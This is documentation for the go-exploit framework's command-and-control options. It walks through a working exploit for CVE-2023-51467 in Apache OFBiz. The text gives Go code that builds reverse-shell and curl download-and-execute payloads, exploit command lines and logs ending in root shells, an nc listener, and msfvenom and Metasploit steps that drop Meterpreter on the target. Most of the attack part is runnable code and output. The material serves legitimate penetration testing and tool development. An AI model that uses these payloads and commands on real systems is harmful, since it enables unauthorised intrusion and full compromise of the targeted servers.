# Command & Control

## Supported C2

In `go-exploit`, the command and control (C2) provides very basic second stage and/or post-exploitation functionality. At the moment, there are five supported C2 types:

1. *SimpleShellClient* - An unencrypted shell via a bind shell.
2. *SimpleShellServer* - An unencrypted shell via a reverse shell.
3. *SSLShellServer* - An encrypted shell via a reverse shell.
4. *HTTPServeFile* - An HTTP server that serves a user provided file (e.g. to server a Meterpreter payload).
5. *HTTPServeShell* - An HTTP server that serves a user provided binary that will connect back to the exploit for `SSLShellServer` or `SimpleShellServer`.
6. *ShellTunnel* - A C2 that will catch a reverse shell, connect to a listener, and proxy the data between the two.

`go-exploit` also supports a `-o` option which means "The c2 is handled by an outside program so don't expect any type of connect back."

## Implementing and Using C2 in an Exploit

A `go-exploit` configures available C2 in `main`. For example, if we look at the go-exploit for [CVE-2023-51467](https://github.com/vulncheck-oss/cve-2023-51467/blob/main/cve-2023-51467.go), we'll find the following:

```go
func main() {
	supportedC2 := []c2.Impl{
		c2.SSLShellServer,
		c2.SimpleShellServer,
		c2.HTTPServeFile,
	}
	}
	conf := config.New(config.CodeExecution, supportedC2, "Apache OFBiz", "CVE-2023-51467", 80)

	sploit := OFBizXML{}
	exploit.RunProgram(sploit, conf)
}
```

In the snippet above, the exploit has configured three available c2. The default is always the one listed first. In this case, `c2.SSLShellServer` (an encrypted reverse shell) is the default payload. The exploit also supports `c2.SimpleShellServer` and `c2.HTTPServeFile`. To use the non-default c2, you simply need to inform the command line:

```sh
albinolobster@mournland:~/cve-2023-51467$ ./build/cve-2023-51467_linux-arm64 -a -e -rhost 10.9.49.88 -rport 8443 -c2 SimpleShellServer -lhost 10.9.49.78 -lport 1270
time=2024-03-05T04:50:27.070-05:00 level=STATUS msg="Starting listener on 10.9.49.78:1270"
time=2024-03-05T04:50:27.071-05:00 level=STATUS msg="Starting target" index=0 host=10.9.49.88 port=8443 ssl=false "ssl auto"=true
time=2024-03-05T04:50:27.126-05:00 level=STATUS msg="Sending a reverse shell payload for port 10.9.49.78:1270"
time=2024-03-05T04:50:27.126-05:00 level=STATUS msg="Throwing exploit at https://10.9.49.88:8443/webtools/control/ProgramExport/"
time=2024-03-05T04:50:28.520-05:00 level=SUCCESS msg="Caught new shell from 10.9.49.88:49402"
time=2024-03-05T04:50:28.520-05:00 level=STATUS msg="Active shell from 10.9.49.88:49402"
id
uid=0(root) gid=0(root) groups=0(root)
```

While `go-exploit` comes with backends that understand different c2, the programmer is expected to provide the appropriate payload. For example, the go-exploit for [CVE-2023-51467](https://github.com/vulncheck-oss/cve-2023-51467/blob/main/cve-2023-51467.go) has the following function for defining the payload based on the c2 selected by the user:

```go
func generatePayload(conf *config.Config) (string, bool) {
	generated := ""

	switch conf.C2Type {
	case c2.SSLShellServer:
		output.PrintfStatus("Sending an SSL reverse shell payload for port %s:%d", conf.Lhost, conf.Lport)
		generated = payload.ReverseShellJJSScript(conf.Lhost, conf.Lport, true)
	case c2.SimpleShellServer:
		output.PrintfStatus("Sending a reverse shell payload for port %s:%d", conf.Lhost, conf.Lport)
		generated = payload.ReverseShellJJSScript(conf.Lhost, conf.Lport, false)
	case c2.HTTPServeFile:
		output.PrintfStatus("Sending a curl payload for port %s:%d", conf.Lhost, conf.Lport)
		curlCommand := payload.LinuxCurlHTTPDownloadAndExecute(conf.Lhost, conf.Lport,
			httpservefile.GetInstance().TLS,
			httpservefile.GetInstance().GetRandomName(""))
		generated = fmt.Sprintf(`new java.lang.ProcessBuilder("/bin/sh", "-c", "%s").start()`, curlCommand)
	default:
		output.PrintError("Invalid payload")

		return generated, false
	}

	generated = b64.StdEncoding.EncodeToString([]byte(generated))

	return generated, true
}
```

## Using -o

Using the `-o` option means that you don't want `go-exploit` to spin up a reverse shell listener (or any other C2) and that connect backs will be handled by a differet (or "outside") program. For example, say I wanted to use `nc` to catch shells instead of my `go-exploit`. The go-exploit for [CVE-2023-51467](https://github.com/vulncheck-oss/cve-2023-51467/blob/main/cve-2023-51467.go) would do that like this:

```
albinolobster@mournland:~/cve-2023-51467$ ./build/cve-2023-51467_linux-arm64 -a -e -rhost 10.9.49.88 -rport 8443 -c2 SimpleShellServer -o -lhost 10.9.49.78 -lport 1270
time=2024-03-05T04:57:12.546-05:00 level=STATUS msg="Starting target" index=0 host=10.9.49.88 port=8443 ssl=false "ssl auto"=true
time=2024-03-05T04:57:12.633-05:00 level=STATUS msg="Sending a reverse shell payload for port 10.9.49.78:1270"
time=2024-03-05T04:57:12.633-05:00 level=STATUS msg="Throwing exploit at https://10.9.49.88:8443/webtools/control/ProgramExport/"
time=2024-03-05T04:57:22.644-05:00 level=SUCCESS msg="Exploit successfully completed" exploited=true
```

The `nc` program listening on `10.9.49.78:1270` would receive the shell.

```
albinolobster@mournland:~$ nc -lvnp 1270
Listening on 0.0.0.0 1270
Connection received on 10.9.49.88 32866
id
uid=0(root) gid=0(root) groups=0(root)
```

## Using HTTPServeFile

The idea behind *HTTPServeFile* is to let the `go-exploit` serve up advanced second stages. For example, say we want to drop Meterpreter on a remote host but there is no Metasploit module for the particular issue? `go-exploit` solves this issue.

Again, let's revisit the go-exploit for [CVE-2023-51467](https://github.com/vulncheck-oss/cve-2023-51467/blob/main/cve-2023-51467.go) which has an *HTTPServeFile* implementation. First, we need to generate a Meterpreter payload:

```sh
albinolobster@mournland:~/metasploit-framework$ ./msfvenom -p linux/x64/meterpreter_reverse_tcp lhost=192.168.1.91 lport=1270 -f elf -o /tmp/meterpreter
[-] No platform was selected, choosing Msf::Module::Platform::Linux from the payload
[-] No arch selected, selecting arch: x64 from the payload
No encoder specified, outputting raw payload
Payload size: 1068672 bytes
Final size of elf file: 1068672 bytes
Saved as: /tmp/meterpreter
```

Then we start a Meterpreter listener:

```sh
msf6 exploit(multi/http/atlassian_confluence_rce_cve_2023_22527) > use exploit/multi/handler
[*] Using configured payload generic/shell_reverse_tcp
msf6 exploit(multi/handler) > set PAYLOAD linux/x64/meterpreter_reverse_tcp
PAYLOAD => linux/x64/meterpreter_reverse_tcp
msf6 exploit(multi/handler) > set LHOST 192.168.1.91
LHOST => 192.168.1.91
msf6 exploit(multi/handler) > set LPORT 1270
LPORT => 1270
msf6 exploit(multi/handler) > run
```

We can then throw the exploit that will trigger a download of the file from `go-exploit`. The CVE-2023-51467 achieves that with the following payload:

```sh
case c2.HTTPServeFile:
    output.PrintfStatus("Sending a curl payload for port %s:%d", conf.Lhost, conf.Lport)
    curlCommand := payload.LinuxCurlHTTPDownloadAndExecute(conf.Lhost, conf.Lport,
        httpservefile.GetInstance().TLS,
        httpservefile.GetInstance().GetRandomName(""))
    generated = fmt.Sprintf(`new java.lang.ProcessBuilder("/bin/sh", "-c", "%s").start()`, curlCommand)
```

Note that we are using the builtin `go-exploit` function `payload.LinuxCurlHTTPDownloadAndExecute` configured with the user provided `TLS` setting and a random filename.

From the command line this is invoked like so:

```sh
albinolobster@mournland:~/cve-2023-51467$ ./build/cve-2023-51467_linux-arm64 -a -e -rhost 192.168.1.179 -rport 8443 -c2 HTTPServeFile -lhost 192.168.1.91 -lport 8181 -httpServeFile.FilesToServe /tmp/meterpreter 
time=2024-03-05T05:51:53.307-05:00 level=STATUS msg="Loading the provided file: /tmp/meterpreter"
time=2024-03-05T05:51:53.310-05:00 level=STATUS msg="Starting target" index=0 host=192.168.1.179 port=8443 ssl=false "ssl auto"=true
time=2024-03-05T05:51:53.310-05:00 level=STATUS msg="Starting an HTTP server on 192.168.1.91:8181"
time=2024-03-05T05:51:53.454-05:00 level=STATUS msg="Sending a curl payload for port 192.168.1.91:8181"
time=2024-03-05T05:51:53.454-05:00 level=STATUS msg="Throwing exploit at https://192.168.1.179:8443/webtools/control/ProgramExport/"
time=2024-03-05T05:51:53.928-05:00 level=STATUS msg="Connection from 192.168.1.179:58296 requested /JCibGhgPjkfg"
time=2024-03-05T05:51:54.050-05:00 level=SUCCESS msg="Exploit successfully completed" exploited=true
time=2024-03-05T05:52:23.329-05:00 level=STATUS msg="Shutting down the HTTP Server"
time=2024-03-05T05:52:23.329-05:00 level=STATUS msg="C2 server exited"
```

Note the log that states, *Connection from 192.168.1.179:58296 requested /JCibGhgPjkfg*. This is the indication that the target downloaded the Meterpreter payload. We can then check Metasploit and find:

```
msf6 exploit(multi/http/atlassian_confluence_rce_cve_2023_22527) > use exploit/multi/handler
[*] Using configured payload generic/shell_reverse_tcp
msf6 exploit(multi/handler) > set PAYLOAD linux/x64/meterpreter_reverse_tcp
PAYLOAD => linux/x64/meterpreter_reverse_tcp
msf6 exploit(multi/handler) > set LHOST 192.168.1.91
LHOST => 192.168.1.91
msf6 exploit(multi/handler) > set LPORT 1270
LPORT => 1270
msf6 exploit(multi/handler) > run

[*] Started reverse TCP handler on 192.168.1.91:1270 
[*] Meterpreter session 1 opened (192.168.1.91:1270 -> 192.168.1.179:53880) at 2024-03-05 05:48:21 -0500

meterpreter > shell
Process 136 created.
Channel 1 created.
id
uid=0(root) gid=0(root) groups=0(root)
pwd
/usr/src/apache-ofbiz
```